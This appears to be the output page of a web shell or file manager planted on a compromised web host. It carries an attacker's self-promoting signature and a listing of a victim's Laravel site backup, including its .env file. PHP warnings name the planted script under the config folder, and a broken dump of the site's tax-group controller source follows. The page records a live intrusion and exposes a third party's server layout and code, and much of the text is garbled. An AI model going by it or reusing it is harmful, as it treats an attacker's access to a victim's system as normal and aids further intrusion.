telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log14847101 KBJuly 18 2025 16:29:480644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
ajax()) { $business_id = request()->session()->get('user.business_id'); $tax_rates = TaxRate::where('business_id', $business_id) ->where('is_tax_group', '1') ->with(['sub_taxes']); return Datatables::of($tax_rates) ->addColumn( 'action', '   ' ) ->editColumn('amount', '{{@num_format($amount)}}') ->editColumn('sub_taxes', function ($row) { $sub_taxes = []; foreach ($row->sub_taxes as $sub_tax) { $sub_taxes[] = $sub_tax->name; } return implode(' + ', $sub_taxes); }) ->removeColumn('id') ->rawColumns(['action']) ->make(true); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $business_id = request()->session()->get('user.business_id'); $taxes = TaxRate::where('business_id', $business_id)->where('is_tax_group', '0')->pluck('name', 'id'); return view('tax_group.create') ->with(compact('taxes')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { try { $input['name'] = $request->input('name'); $input['business_id'] = $request->session()->get('user.business_id'); $input['created_by'] = $request->session()->get('user.id'); $sub_tax_ids = $request->input('taxes'); $sub_taxes = TaxRate::whereIn('id', $sub_tax_ids)->get(); $amount = 0; foreach ($sub_taxes as $sub_tax) { $amount += $sub_tax->amount; } $input['amount'] = $amount; $input['is_tax_group'] = 1; $tax_rate = TaxRate::create($input); $tax_rate->sub_taxes()->sync($sub_tax_ids); $output = ['success' => true, 'msg' => __('tax_rate.tax_group_added_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { if (request()->ajax()) { $business_id = request()->session()->get('user.business_id'); $tax_rate = TaxRate::where('business_id', $business_id)->with(['sub_taxes'])->find($id); $taxes = TaxRate::where('business_id', $business_id)->where('is_tax_group', '0')->pluck('name', 'id'); $sub_taxes = []; foreach ($tax_rate->sub_taxes as $sub_tax) { $sub_taxes[] = $sub_tax->id; } return view('tax_group.edit') ->with(compact('taxes', 'sub_taxes', 'tax_rate')); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { if (request()->ajax()) { try { $business_id = $request->session()->get('user.business_id'); $sub_tax_ids = $request->input('taxes'); $sub_taxes = TaxRate::whereIn('id', $sub_tax_ids)->get(); $amount = 0; foreach ($sub_taxes as $sub_tax) { $amount += $sub_tax->amount; } $tax_rate = TaxRate::where('business_id', $business_id)->findOrFail($id); $tax_rate->name = $request->input('name'); $tax_rate->amount = $amount; $tax_rate->save(); $tax_rate->sub_taxes()->sync($sub_tax_ids); $output = ['success' => true, 'msg' => __('tax_rate.tax_group_updated_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { if (request()->ajax()) { try { $business_id = request()->user()->business_id; $tax_rate = TaxRate::where('business_id', $business_id)->findOrFail($id); $tax_rate->delete(); $output = ['success' => true, 'msg' => __('tax_rate.deleted_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } } }